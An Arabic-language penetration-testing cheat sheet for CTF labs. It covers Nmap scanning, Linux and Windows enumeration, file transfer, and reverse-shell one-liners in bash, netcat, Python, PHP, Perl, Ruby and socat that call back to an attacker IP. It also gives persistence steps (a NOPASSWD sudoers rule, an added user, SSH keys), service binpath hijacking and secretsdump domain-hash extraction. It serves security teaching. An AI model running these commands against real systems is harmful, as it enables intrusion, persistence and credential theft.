مرجع عملي يجمع أهم الأوامر التي تتكرر خلال مراحل اختبار الاختراق للشبكات والأنظمة، من الاستطلاع وجمع المعلومات إلى التعداد والاستغلال وما بعد الاستغلال.

الهدف ليس حفظ عشرات الأوامر، بل معرفة الأمر المناسب لكل مرحلة، وفهم وظيفة كل باراميتر، ومتى تستخدمه، وما الذي تتوقع أن تحصل عليه من النتيجة.

#المتغيرات المستخدمة في الأمثلة

قبل أن تبدأ استبدل القيم التالية بما يناسب الهدف الذي تعمل عليه.

المتغيرالمعنى
<TARGET_IP>عنوان IP للجهاز الهدف
<YOUR_IP>عنوان جهازك الذي سيستقبل الاتصال أو يقدم الملفات
<PORT>رقم المنفذ
<DOMAIN>اسم الدومين مثل corp.local
<DC>اسم Domain Controller
<USER>اسم المستخدم
<PASS>كلمة المرور
<HASH>Hash خاص بكلمة مرور أو حساب
<FILE>اسم الملف
<PATH>مسار ملف أو مجلد
<SHARE>اسم SMB Share
<SERVICE_NAME>اسم خدمة Windows

1. Nmap

Nmap غالبًا هو أول أداة تعطيك صورة حقيقية عن الهدف. الهدف من الفحص ليس فقط معرفة المنافذ المفتوحة بل ربط كل منفذ بخدمة وإصدار ثم تحويل هذه المعلومة إلى مسار Enumeration واضح.

#فحص سريع لكل المنافذ ثم فحص تفصيلي

bash
ports=$(nmap -p- --min-rate=1000 -Pn -T4 <TARGET_IP> | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed 's/,$//')
nmap -p$ports -Pn -sC -sV <TARGET_IP>

هذا الأسلوب يقسم العمل إلى مرحلتين. الأولى تبحث عن المنافذ المفتوحة بسرعة والثانية تشغل فحصًا أعمق فقط على المنافذ التي ظهرت بدل إعادة فحص 65535 منفذًا بكل الـScripts.

#شرح الباراميترز

  • -p- يعني فحص كل منافذ TCP من 1 إلى 65535.
  • --min-rate=1000 يطلب من Nmap محاولة إرسال ما لا يقل عن 1000 Probe في الثانية عندما تسمح الظروف.
  • -Pn يتعامل مع الجهاز على أنه متصل حتى لو لم يرد على Ping أو Host Discovery.
  • -T4 يستخدم Timing أسرع ومناسب عادة لبيئات CTF والشبكات المستقرة.
  • -sC يشغل مجموعة الـNSE Scripts الافتراضية على الخدمات المكتشفة.
  • -sV يحاول تحديد اسم الخدمة وإصدارها.
  • -p$ports يفحص فقط قائمة المنافذ التي حفظناها داخل المتغير ports.

#ماذا يفعل الجزء الخاص بالـBash

bash
grep '^[0-9]'

يحتفظ بالأسطر التي تبدأ برقم وغالبًا تكون أسطر المنافذ في خرج Nmap.

bash
cut -d '/' -f 1

يقسم كل سطر باستخدام / ويأخذ الجزء الأول وهو رقم المنفذ.

bash
tr '\n' ','

يحول كل سطر إلى قيمة مفصولة بفاصلة لتصبح النتيجة مثل 22,80,443,.

bash
sed 's/,$//'

يحذف آخر فاصلة حتى تصبح القائمة صالحة لباراميتر -p.

#فحص افتراضي

bash
nmap <TARGET_IP>

من دون باراميترز إضافية يفحص Nmap مجموعة المنافذ الشائعة ويجري Host Discovery قبل الفحص. هذا مناسب كبداية سريعة لكنه ليس بديلًا عن فحص كل المنافذ في CTF.

#فحص منافذ محددة

bash
nmap -p 80,443,8080 <TARGET_IP>

-p يسمح لك بتحديد منافذ بعينها. استخدمه عندما تعرف مسبقًا أين توجد الخدمة أو عندما تريد إعادة الفحص بسرعة بعد اكتشاف منفذ مهم.

#فحص Range

bash
nmap -p 1-1000 <TARGET_IP>

الشرطة داخل قيمة -p تحدد Range من المنافذ. هنا سيتم فحص المنافذ من 1 حتى 1000 فقط.

#Verbose Output

bash
nmap -vv <TARGET_IP>

-v يزيد التفاصيل أثناء الفحص و-vv يزيدها أكثر. يفيد هذا في CTF لأنك ترى النتائج أثناء وصولها بدل انتظار نهاية الفحص بالكامل.

#حفظ النتائج بكل الصيغ

bash
nmap -oA nmap_initial <TARGET_IP>

-oA يحفظ النتائج بثلاث صيغ أساسية في وقت واحد. ستحصل عادة على ملفات .nmap و.gnmap و.xml بنفس الاسم الأساسي.

#تشغيل NSE Script محدد

bash
nmap --script=http-enum -p 80,443 <TARGET_IP>

--script يحدد NSE Script أو مجموعة Scripts. http-enum يبحث عن مسارات وموارد HTTP شائعة وقد يعطيك صفحات لم تكن ظاهرة من الصفحة الرئيسية.

#فحص Scripts ضمن فئة vuln

bash
nmap --script=vuln <TARGET_IP>

vuln ليست ثغرة واحدة بل فئة من Scripts. النتيجة تحتاج قراءة وفهم لأن وجود Output مثير للاهتمام لا يعني دائمًا أن الهدف قابل للاستغلال مباشرة.

#ترتيب عملي بعد Nmap

إذا ظهر 22 فكر في SSH والحسابات والمفاتيح. إذا ظهر 80 أو 443 انتقل إلى Web Enumeration وإذا ظهر 445 ركز على SMB وإذا ظهر 3389 فكر في RDP وإذا ظهر LDAP أو Kerberos فهذا مؤشر قوي على Active Directory.


2. Linux Enumeration وPost Exploitation

بعد الدخول إلى Linux لا تبدأ بتغيير النظام مباشرة. اجمع معلومات عن المستخدم والصلاحيات والـServices والملفات القابلة للكتابة ثم قرر ما الذي يستحق الاختبار.

#تعديل /etc/hosts

bash
echo "<TARGET_IP> <HOSTNAME>" | sudo tee -a /etc/hosts

هذا الأمر يضيف Mapping محلي بين IP وHostname. يفيد عندما يعتمد تطبيق أو Domain داخلي على اسم لا يستطيع DNS عندك حله.

#شرح الأجزاء

  • echo يطبع السطر الذي تريد إضافته.
  • | يرسل الناتج إلى الأمر التالي.
  • sudo يشغل tee بصلاحيات أعلى لأن /etc/hosts يحتاج صلاحيات كتابة مناسبة.
  • tee يستقبل النص ويكتبه داخل ملف.
  • -a يعني Append حتى لا يستبدل محتوى الملف بالكامل.

#مثال

bash
echo "10.10.10.100 internal.lab.local" | sudo tee -a /etc/hosts

#التحقق

bash
cat /etc/hosts | grep internal

cat يعرض الملف وgrep internal يفلتر الأسطر التي تحتوي كلمة internal.

#توليد Hash متوافق مع كلمات مرور Linux

bash
openssl passwd -6 "YourPasswordHere"

الأمر يولد Password Hash بصيغة يمكن استخدامها في سيناريوهات Linux المناسبة. قيمة -6 تختار SHA-512 crypt.

#خيارات Hash

  • -6 يستخدم SHA-512 crypt.
  • -5 يستخدم SHA-256 crypt.
  • -1 يستخدم MD5 crypt وهو Legacy ولا يفضل في الأنظمة الحديثة.

#إنشاء مستخدم باستخدام Hash

bash
HASH=$(openssl passwd -6 "SecurePass123")
useradd -m -p "$HASH" -s /bin/bash ctfuser

HASH=$(...) ينفذ الأمر داخل الأقواس ويحفظ الناتج في متغير. useradd ينشئ المستخدم و-m ينشئ Home Directory و-p يستقبل Hash جاهزًا و-s يحدد Login Shell.

#إضافة Rule إلى sudoers

bash
echo "ctfuser ALL=(ALL) NOPASSWD:ALL" | sudo tee -a /etc/sudoers

الصيغة تعني أن المستخدم ctfuser يمكنه تشغيل أوامر sudo كأي مستخدم دون طلب كلمة مرور. في CTF افهم أولًا كل جزء من Rule ولا تعدل sudoers عشوائيًا لأن خطأ بسيط في الصياغة قد يكسر sudo.

#SSH authorized_keys

bash
mkdir -p ~/.ssh
echo "YOUR_PUBLIC_KEY" >> ~/.ssh/authorized_keys
chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys

mkdir -p ينشئ المجلد إذا لم يكن موجودًا ولا يعطي Error إذا كان موجودًا. >> يضيف النص إلى نهاية الملف وchmod 700 يقيد مجلد .ssh وchmod 600 يسمح للمالك فقط بالقراءة والكتابة على authorized_keys.

#Cron Job

bash
crontab -l

-l يعرض Cron Jobs الخاصة بالمستخدم الحالي. افحصها لأن Script يعمل دوريًا بصلاحيات أعلى قد يصبح طريقًا لتصعيد الصلاحيات إذا كان الملف نفسه قابلًا للكتابة.

bash
cat /etc/crontab

هذا يعرض System Crontab وقد يبين المهام والمستخدم الذي ينفذ كل مهمة.

#أماكن كتابة شائعة

bash
ls -ld /tmp /var/tmp /dev/shm

هذه المسارات غالبًا قابلة للكتابة للمستخدمين العاديين. لا تفترض الصلاحيات بل تحقق منها لأن إعدادات التحدي قد تكون مختلفة.


3. نقل الملفات على Linux

نقل الأدوات والنتائج جزء متكرر في CTF. اختر أبسط بروتوكول متاح ولا تضف تعقيدًا لا تحتاجه.

#تنزيل باستخدام wget

bash
wget http://<YOUR_IP>/<FILE> -O /tmp/<FILE>

wget يطلب الملف عبر HTTP. -O يحدد اسم ومسار الملف الناتج بدل الاعتماد على الاسم القادم من URL.

#تنزيل باستخدام curl

bash
curl http://<YOUR_IP>/<FILE> -o /tmp/<FILE>

curl يرسل طلب HTTP و-o بحرف صغير يحدد ملف الإخراج. لا تخلط بين -o و-O لأن -O في curl يستخدم اسم الملف البعيد كما هو.

#تقديم ملفات من الهدف أو من جهازك

bash
python3 -m http.server 8000

-m يشغل Module بايثون كبرنامج وhttp.server هو HTTP Server مدمج. الرقم 8000 هو المنفذ وسيتم تقديم الملفات من Current Working Directory.

#Bind على Interface محدد

bash
python3 -m http.server 8000 --bind 10.10.10.5

--bind يحدد عنوان الـInterface الذي سيستمع عليه السيرفر. يفيد إذا كان جهازك يملك أكثر من Network Interface وتريد منع الاستماع على البقية.

#تقديم مجلد محدد

bash
cd /path/to/files && python3 -m http.server 8080

&& يشغل الأمر الثاني فقط إذا نجح الأول. النتيجة أن Python سيقدم محتوى /path/to/files على المنفذ 8080.


4. Python في CTF

Python ممتاز عندما تريد HTTP Server سريع أو تحويل بيانات أو إنشاء Socket أو تشغيل One-liner من دون كتابة Script كامل.

#معرفة الإصدار

bash
python --version
python3 --version

وجود python لا يعني دائمًا Python 2 أو Python 3. افحص الإصدار قبل نسخ One-liner يعتمد على Syntax معينة.

#Base64 Encode

bash
python3 -c 'import base64; print(base64.b64encode(b"string").decode())'

-c يخبر Python بتنفيذ الكود الموجود كسلسلة نصية. b64encode يحتاج Bytes ولذلك نستخدم b"string" ثم decode() يحول الناتج من Bytes إلى String قابلة للطباعة.

#Base64 Decode

bash
python3 -c 'import base64; print(base64.b64decode("encoded_string").decode())'

b64decode يفك Base64 ثم decode() يحول الـBytes إلى نص. إذا كانت البيانات الأصلية Binary فلا تفترض أن decode() مناسب لها.

#تنزيل ملف باستخدام Python

bash
python3 -c 'import urllib.request; urllib.request.urlretrieve("http://<YOUR_IP>/<FILE>", "/tmp/<FILE>")'

urllib.request يوفر وظائف HTTP في Python 3. urlretrieve يستقبل URL ثم المسار المحلي الذي سيكتب إليه الملف.

#FTP Server سريع باستخدام pyftpdlib

bash
python3 -m pyftpdlib -p 2121 -w

هذا يحتاج Module باسم pyftpdlib مثبتًا مسبقًا. -p يحدد المنفذ و-w يسمح بالكتابة بدل جعل الجلسة Read Only.

#باراميترز مفيدة

  • -p يحدد Port.
  • -w يسمح للعميل بالرفع والكتابة.
  • -u يحدد Username عند إعداد حساب.
  • -P يحدد Password للحساب.

5. Reverse Shells

Reverse Shell تعني أن الجهاز الهدف يبدأ اتصالًا راجعًا إلى Listener عندك. قبل أي Payload تأكد من IP الصحيح وPort الصحيح وأن Listener يعمل وأن الشبكة تسمح بالاتصال.

#Listener باستخدام Netcat

bash
nc -lvnp <PORT>
  • -l يجعل Netcat في وضع الاستماع.
  • -v يعرض تفاصيل الاتصال.
  • -n يمنع DNS Resolution ويستخدم العناوين الرقمية مباشرة.
  • -p يحدد Local Port في نسخ Netcat التي تدعم هذا الشكل.

#Listener مع rlwrap

bash
rlwrap nc -lvnp <PORT>

rlwrap يضيف Readline Features حول البرنامج مثل History وتحسين التعامل مع الأسهم في كثير من الحالات. هذا لا يحول الـShell وحده إلى TTY كاملة لكنه يجعل الاستخدام أريح.

#Bash عبر /dev/tcp

bash
bash -i >& /dev/tcp/<YOUR_IP>/<PORT> 0>&1

bash -i يطلب Interactive Shell. /dev/tcp/HOST/PORT ميزة في Bash تفتح TCP Connection و>& يعيد توجيه Standard Output وStandard Error بينما 0>&1 يجعل Standard Input يأتي من نفس الاتصال.

#Bash داخل bash -c

bash
bash -c 'bash -i >& /dev/tcp/<YOUR_IP>/<PORT> 0>&1'

-c يجعل Bash ينفذ String كاملة كأمر. يفيد عندما تكون أمام Command Injection أو مكان يقبل Command واحدة كسلسلة نصية.

#Netcat مع -e

bash
nc <YOUR_IP> <PORT> -e /bin/bash

-e يطلب من بعض إصدارات Netcat تشغيل برنامج وربط Input وOutput بالاتصال. كثير من الإصدارات الحديثة لا تدعم هذا الخيار ولذلك لا تعتمد عليه دائمًا.

#Netcat بدون -e

bash
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc <YOUR_IP> <PORT> > /tmp/f

mkfifo ينشئ Named Pipe. السلسلة تستخدم الـFIFO لتدوير Input وOutput بين Bash وNetcat حتى تعمل الجلسة بدون -e.

#Python 3 Reverse Shell

bash
python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<YOUR_IP>",<PORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'

socket.AF_INET يعني IPv4 وsocket.SOCK_STREAM يعني TCP. connect() يبدأ الاتصال وos.dup2() يربط File Descriptor الخاص بالـSocket مع stdin وstdout وstderr ثم pty.spawn() يشغل Bash داخل PTY.

#PHP Reverse Shell

bash
php -r '$sock=fsockopen("<YOUR_IP>",<PORT>);exec("/bin/bash -i <&3 >&3 2>&3");'

php -r ينفذ PHP Code مباشرة من سطر الأوامر. fsockopen ينشئ Socket وexec يشغل Bash مع إعادة توجيه الـFile Descriptor المناسب للاتصال.

#Perl Reverse Shell

bash
perl -e 'use Socket;$i="<YOUR_IP>";$p=<PORT>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

perl -e ينفذ الكود مباشرة. الكود ينشئ TCP Socket ثم يعيد ربط Standard Streams بالـSocket ويشغل Bash.

#Ruby Reverse Shell

bash
ruby -rsocket -e 'f=TCPSocket.open("<YOUR_IP>",<PORT>).to_i;exec sprintf("/bin/bash -i <&%d >&%d 2>&%d",f,f,f)'

-r socket يحمل مكتبة Socket و-e ينفذ الكود. TCPSocket.open ينشئ الاتصال ثم يتم استخدام File Descriptor مع Bash.

#Socat Reverse Shell

bash
socat tcp:<YOUR_IP>:<PORT> exec:'bash -li',pty,stderr,setsid,sigint,sane

socat يربط نوعين من Streams. الطرف الأول اتصال TCP والطرف الثاني Bash مع مجموعة Options تحسن سلوك الـTTY والإشارات.

#شرح Options في Socat

  • pty ينشئ pseudo terminal.
  • stderr يربط Standard Error بالقناة.
  • setsid ينشئ Session جديدة.
  • sigint يسمح بتمرير SIGINT بشكل أفضل.
  • sane يطبق إعدادات Terminal معقولة.

#Socat Listener

bash
socat file:`tty`,raw,echo=0 tcp-listen:<PORT>

file:\tty`يربط Socat بالـTerminal الحالي.raw يقلل معالجة الإدخال المحلية وecho=0 يمنع تكرار الأحرف وtcp-listen` يفتح Listener على المنفذ.


6. ترقية Shell إلى Interactive TTY

الـReverse Shell الأولية غالبًا تكون محدودة. قد لا تعمل الأسهم أو Tab أو su وقد يقتل Ctrl+C الجلسة كاملة لذلك ترقية الـShell خطوة أساسية بعد الحصول على اتصال مستقر.

#أسرع خيار باستخدام script

bash
script /dev/null -c bash

script ينشئ Terminal Session و/dev/null يمنع حفظ Transcript فعلي و-c bash يحدد الأمر الذي سيشغله داخل الجلسة.

#بديل script

bash
script -qc /bin/bash /dev/null

-q يقلل الرسائل التي يطبعها script و-c يحدد Command. المسار /dev/null يستخدم كملف Transcript غير محفوظ.

#Python PTY

bash
python3 -c 'import pty;pty.spawn("/bin/bash")'

pty.spawn() يشغل البرنامج داخل pseudo terminal. هذا يحسن الكثير من البرامج التفاعلية لكنه قد يحتاج ضبط Terminal محليًا للحصول على تجربة كاملة.

#Full TTY Upgrade

bash
python3 -c 'import pty;pty.spawn("/bin/bash")'

بعدها اضغط Ctrl+Z لإرسال الـShell إلى الخلفية محليًا ثم نفذ.

bash
stty raw -echo; fg

stty raw يجعل Terminal المحلي يمرر الأحرف بشكل Raw و-echo يمنع الطباعة المحلية المكررة. fg يعيد Job إلى Foreground.

بعد رجوع الاتصال نفذ.

bash
reset
export TERM=xterm-256color
stty rows 38 columns 116

reset يعيد تهيئة Terminal وTERM يعرف نوع الطرفية للبرامج وstty rows وcolumns يضبطان الحجم حتى لا تنكسر برامج مثل vim أو less.

#افحص الأدوات المتاحة أولًا

bash
which python python3 perl ruby lua script socat

which يبين أي Binary سيتم تشغيلها من PATH. هذا يوفر وقتك قبل تجربة One-liner غير ممكن لأن اللغة أو الأداة غير مثبتة.


7. Windows Enumeration

على Windows حاول بناء صورة منظمة عن النظام قبل أي تعديل. ابدأ بالمستخدم الحالي والصلاحيات ثم النظام والشبكة والعمليات والخدمات والملفات والـRegistry.

#معلومات النظام

cmd
systeminfo
ver
hostname
set

systeminfo يعرض معلومات واسعة عن Windows والـHotfixes والـDomain والذاكرة. ver يعرض إصدار النظام وhostname يعرض اسم الجهاز وset يعرض Environment Variables في CMD.

#المستخدم الحالي والصلاحيات

cmd
whoami
whoami /priv
whoami /groups

whoami يعرض المستخدم الحالي. /priv يعرض Privileges الموجودة في Token و/groups يعرض Groups وSIDs وحالتها.

#المستخدمون المحليون

cmd
net user
net user <USER>

الأمر الأول يعرض الحسابات المحلية والثاني يعطي تفاصيل حساب محدد. ابحث عن الحسابات غير المعتادة وأوقات تغيير كلمة المرور وعضوية المجموعات.

#المجموعات المحلية

cmd
net localgroup
net localgroup Administrators

الأول يعرض Local Groups والثاني يعرض أعضاء مجموعة Administrators. معرفة من يملك صلاحيات Admin تساعدك على فهم العلاقات بين الحسابات.

#مستخدمو الدومين

cmd
net user /domain

/domain يطلب المعلومات من Domain Controller بدل قاعدة الحسابات المحلية إذا كان الجهاز منضمًا للدومين وتسمح صلاحياتك بذلك.

#Domain Admins

cmd
net group "Domain Admins" /domain

net group يتعامل مع Domain Groups بينما net localgroup يتعامل مع Local Groups. /domain يحدد أن الاستعلام على الدومين.


8. Windows Network Enumeration

#IP Configuration

cmd
ipconfig /all

/all يعرض تفاصيل أوسع من ipconfig العادي مثل DNS Servers وDHCP وMAC Address وDNS Suffix. هذه التفاصيل مهمة لفهم الشبكة والدومين.

#الاتصالات والمنافذ

cmd
netstat -ano

-a يعرض الاتصالات والمنافذ المستمعة و-n يستخدم عناوين وأرقام بدل Resolve للأسماء و-o يضيف PID المرتبط بكل اتصال.

#Routing Table

cmd
route print

يعرض Routes الموجودة على الجهاز. في بيئات Pivoting قد يكشف لك Subnets داخلية لا تستطيع رؤيتها مباشرة من جهازك.

#ARP Cache

cmd
arp -a

يعرض IP إلى MAC mappings التي يعرفها الجهاز. هذا قد يعطيك فكرة سريعة عن أجهزة تواصل معها الهدف داخل نفس Layer 2 network.

#DNS Cache

cmd
ipconfig /displaydns

يعرض أسماء DNS الموجودة في Cache. أحيانًا يظهر Internal Hostnames لم ترها في أي مكان آخر.

#Shares محلية

cmd
net share

يعرض Shares التي يقدمها الجهاز. انتبه للـAdministrative Shares مثل C$ وADMIN$ ولا تخلط بينها وبين Shares خاصة بالتطبيقات.


9. Windows Files وACLs باستخدام icacls

icacls من أهم أوامر فهم File Permissions على Windows. في تحديات Privilege Escalation ابحث عن ملف ينفذه Process بصلاحيات أعلى بينما أنت تملك Write أو Modify عليه.

#فحص ملف أو مجلد

cmd
icacls <FILE_OR_FOLDER_PATH>

#أشهر أكواد الصلاحيات

الكودالمعنى
(F)Full Control
(M)Modify
(RX)Read and Execute
(R)Read
(W)Write
(D)Delete

Full Control أوسع من Modify لأنه يتضمن التحكم في Permissions وOwnership في سيناريوهات معينة. وجود (W) أو (M) على ملف حساس قد يكون أهم من امتلاك Read فقط.

#مثال على ملف Batch

cmd
icacls C:\Log-Management\job.bat

إذا كان job.bat يعمل من Scheduled Task بصلاحية أعلى وأنت تستطيع تعديله فهذه علاقة تستحق التحليل. لا يكفي أن يكون الملف Writable بل يجب أن تعرف من يشغله ومتى وبأي صلاحية.

#فحص Service Binary

cmd
icacls "C:\Program Files\<SERVICE_NAME>\service.exe"

استخدم Quotes لأن المسار يحتوي Spaces. ركز على المستخدم أو Group الذي تملكه وهل لديه (W) أو (M) أو (F).

#Startup Folder

cmd
icacls "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"

الهدف هو فهم من يستطيع إضافة أو تعديل ملفات تبدأ مع تسجيل الدخول. اربط دائمًا الـACL بمن سيشغل الملف لاحقًا.

#Scheduled Task Scripts

cmd
icacls C:\Tasks\*.bat
icacls C:\Tasks\*.ps1

الـWildcard * يطابق عدة ملفات. فحص Scripts بهذه الطريقة أسرع من فتح كل ملف يدويًا في البداية.


10. Processes وServices على Windows

#عرض العمليات

cmd
tasklist

يعرض العمليات الحالية وPID والذاكرة. استخدمه لمعرفة التطبيقات والخدمات التي تعمل فعليًا بدل الاعتماد على الملفات الموجودة فقط.

#تفاصيل أكثر

cmd
tasklist /v

/v يعني Verbose ويضيف معلومات مثل Session Name وWindow Title وبعض تفاصيل المستخدم حسب السياق.

#إنهاء Process بالـPID

cmd
taskkill /PID <PID> /F

/PID يحدد Process ID و/F يجبر الإنهاء. في CTF لا تقتل Process عشوائيًا لأنك قد تسقط الخدمة الوحيدة التي تحتاجها.

#إنهاء Process بالاسم

cmd
taskkill /IM <PROCESS_NAME> /F

/IM يعني Image Name. إذا تكرر الاسم فقد تتأثر أكثر من Process حسب الصيغة المستخدمة.

#عرض الخدمات

cmd
sc query

sc هو Service Control Manager CLI وquery يعرض الخدمات وحالاتها.

#Configuration لخدمة

cmd
sc qc <SERVICE_NAME>

qc تعني Query Configuration. ركز على BINARY_PATH_NAME وSERVICE_START_NAME وStart Type لأن هذه القيم تحدد ماذا يعمل ومن يشغله.

#حالة خدمة

cmd
sc query <SERVICE_NAME>

هذا يعطيك State مثل RUNNING أو STOPPED. لا تخلط بين وجود الخدمة وبين كونها تعمل الآن.

#تشغيل وإيقاف خدمة

cmd
sc start <SERVICE_NAME>
sc stop <SERVICE_NAME>

تحتاج الصلاحيات المناسبة. في تحدي PrivEsc قد تملك صلاحية تعديل Service لكن لا تملك صلاحية Restart لذلك تحقق من الاثنين.

#تغيير Binary Path

cmd
sc config <SERVICE_NAME> binpath= "<PATH>"

في sc.exe توجد حساسية غريبة للمسافة بعد binpath=. الصيغة الصحيحة عادة تحتوي مسافة بعد علامة = قبل القيمة.


11. Credential Hunting على Windows

تعامل مع هذا القسم كعملية Enumeration للمعلومات المخزنة محليًا. ابحث عن Configs وSaved Credentials وAutoLogon لأن CTFs كثيرًا ما تضع Hint داخل مكان إداري طبيعي.

#AutoLogon في Registry

cmd
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

reg query يقرأ Registry Key. ابحث عن قيم مثل DefaultUserName وDefaultDomainName وأي قيمة Password موجودة في التحدي.

#PuTTY Sessions

cmd
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s

HKCU يعني Hive الخاص بالمستخدم الحالي. /s يعمل Recursively داخل Subkeys.

#البحث عن كلمة password في ملفات شائعة

cmd
findstr /si password *.txt *.xml *.ini *.config

/s يبحث داخل Subdirectories و/i يجعل البحث Case Insensitive. الـWildcards تقيد أنواع الملفات التي يتم فحصها.

#البحث عن Unattend Files

cmd
dir /s *unattend.xml
dir /s *sysprep.xml

dir /s يبحث داخل المجلد الحالي وكل Subdirectories. ملفات Deployment القديمة قد تحتوي إعدادات حساسة داخل بعض المختبرات.

#Saved Credentials

cmd
cmdkey /list

cmdkey يعرض Credentials المحفوظة في Windows Credential Manager التي يسمح السياق بعرضها. النتيجة قد تبين Target وUser حتى لو لم تعرض كلمة المرور نفسها.


12. Windows Privilege Escalation Checks

ركز على Misconfiguration يمكن إثباتها. الفكرة ليست تشغيل قائمة طويلة بل ربط كل Finding بعملية تعمل بصلاحيات أعلى.

#AlwaysInstallElevated

cmd
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

/v يطلب Registry Value محددة بدل طباعة كل Key. هذه الحالة تكون مهمة عندما تكون القيمة مفعلة في كل من Machine وCurrent User.

#Scheduled Tasks

cmd
schtasks /query /fo LIST /v

/query يعرض Tasks و/fo LIST يغير Format إلى List و/v يضيف التفاصيل. راقب Task To Run والمستخدم ووقت التشغيل ومسار أي Script خارجي.

#Unquoted Service Paths

cmd
wmic service get name,pathname,displayname,startmode | findstr /i auto

wmic service get يطلب حقولًا معينة من الخدمات. findstr /i auto يفلتر الخدمات التي تحتوي كلمة Auto من دون حساسية لحالة الأحرف.

بعدها راجع أي pathname يحتوي Spaces ولا تحيطه Quotes. وجود Unquoted Path وحده لا يكفي بل تحتاج أيضًا صلاحية كتابة في جزء مناسب من المسار وسياق تشغيل يعطيك فائدة.

#PowerUp

powershell
Invoke-AllChecks

هذا Cmdlet يأتي عادة من PowerUp بعد تحميله داخل PowerShell Session. وظيفته تشغيل مجموعة Checks تساعدك على اكتشاف Misconfigurations بدل فحص كل شيء يدويًا.


13. Active Directory Enumeration من Windows

إذا كان الجهاز Domain Joined انتقل من التفكير بجهاز واحد إلى علاقات بين Users وGroups وComputers وTrusts.

#معلومات Workstation والدومين

cmd
net config workstation

يعرض معلومات مثل Computer Name وDomain أو Workgroup. هذه بداية سريعة لمعرفة Context الذي تعمل داخله.

#Domain Controllers

cmd
nltest /dclist:<DOMAIN>

nltest أداة Windows مدمجة لعمليات Trust وDomain Discovery. /dclist يطلب قائمة Domain Controllers للدومين المحدد.

#Domain Trusts

cmd
nltest /domain_trusts

يعرض Trust Relationships التي يعرفها النظام. في CTF متعدد الدومينات هذه المعلومة تحدد هل يوجد مسار Enumeration خارج الدومين الحالي.

#Shares على جهاز بعيد

cmd
net view \\<TARGET> /all

net view يعرض الموارد المشتركة على جهاز بعيد. /all يطلب تضمين Shares إضافية عندما تكون متاحة للسياق الحالي.

#ربط Share بحرف Drive

cmd
net use Z: \\<TARGET>\<SHARE>

net use ينشئ اتصال SMB ويعرضه كـDrive Letter. هذا يسهل التنقل والبحث داخل Share باستخدام أوامر Windows العادية.

#قطع الاتصال

cmd
net use Z: /delete

/delete يزيل الـMapping ولا يحذف Share نفسه.


14. BloodHound Collection

BloodHound يفيد عندما تصبح علاقات Active Directory كثيرة بحيث يصعب تتبعها يدويًا. أداة bloodhound-python تجمع البيانات ثم يمكنك استيراد ZIP الناتج إلى BloodHound لتحليل العلاقات والمسارات.

#Collection شامل

bash
bloodhound-python --zip -c All -d "<DOMAIN>" -ns "<DNS_IP>" -dc "<DC>" -u "<USER>" -p "<PASS>"

#شرح الباراميترز

  • --zip يجمع ملفات JSON الناتجة داخل ZIP جاهز للاستيراد.
  • -c All يطلب كل Collection Methods المدعومة في هذا السياق بدل Method واحدة.
  • -d يحدد Active Directory Domain.
  • -ns يحدد DNS Server الذي ستستخدمه الأداة في Resolve للأسماء.
  • -dc يحدد Domain Controller بالاسم.
  • -u يحدد Username.
  • -p يحدد Password.

#استخدام DNS عبر TCP

bash
bloodhound-python \
  -u '<USER>' \
  -p '<PASS>' \
  -d <DOMAIN> \
  -dc <DC> \
  -ns <DNS_IP> \
  --dns-tcp \
  -c All \
  --zip

--dns-tcp يجبر DNS Queries على TCP بدل UDP. هذا قد يفيد في بعض الشبكات أو المختبرات عندما يكون UDP غير موثوق أو محجوبًا.

#ماذا تفعل إذا فشل Collection

ابدأ بفحص Resolve لاسم الدومين والـDC ثم تحقق من الوقت ثم Credentials ثم الاتصال بالمنافذ اللازمة. مشاكل BloodHound كثيرًا ما تكون DNS أو Time Skew أو Domain Name غير صحيح وليست مشكلة في BloodHound نفسها.


15. Impacket secretsdump.py في Active Directory CTF

secretsdump.py من Impacket ويستخدم لاستخراج أنواع مختلفة من Credential Material عندما تملك الصلاحية المطلوبة في المختبر. في سيناريو Domain Controller يوجد خيار مهم لتقييد العملية على بيانات الدومين.

#Dump خاص بالدومين

bash
secretsdump.py -outputfile domain_hashes -just-dc <DOMAIN>/<USER>@<DC_IP>

#شرح الباراميترز

  • -outputfile domain_hashes يحدد Prefix لملفات الإخراج بدل الاعتماد على طباعة كل شيء في Terminal فقط.
  • -just-dc يطلب بيانات NTDS الخاصة بالدومين من Domain Controller ولا يركز على بقية Secrets المحلية.
  • <DOMAIN>/<USER> يحدد Domain Account المستخدم للمصادقة.
  • @<DC_IP> يحدد الهدف الذي سيتم الاتصال به.

بعد تنفيذ الأمر قد يطلب منك Password إذا لم تمرر Credential بطريقة أخرى. في بيئات التدريب اقرأ أول أسطر Output لأنها توضح Method المستخدمة وأي خطأ في Authentication أو DRSUAPI أو Remote Registry.

#شكل NTLM Entry

text
DOMAIN\user:RID:LMHASH:NTHASH:::

RID هو Relative Identifier للحساب. LMHASH قد يكون قيمة ثابتة تشير إلى عدم وجود LM Hash فعلي وNTHASH هو NT Hash الذي يهم في كثير من تحديات Windows وAD.


16. RDP باستخدام xfreerdp3

بعد حصولك على Credentials قابلة لتسجيل الدخول عبر RDP يمكنك استخدام FreeRDP من Linux لفتح Session رسومية.

bash
xfreerdp3 /v:<TARGET_IP> /u:<USER> /p:'<PASS>' /dynamic-resolution +clipboard

#شرح الباراميترز

  • /v:<TARGET_IP> يحدد Server أو Target الذي ستتصل به.
  • /u:<USER> يحدد Username.
  • /p:'<PASS>' يحدد Password ويفضل وضعها بين Quotes إذا احتوت رموزًا خاصة.
  • /dynamic-resolution يجعل Resolution تتغير مع حجم نافذة العميل بدل تثبيتها على قيمة واحدة.
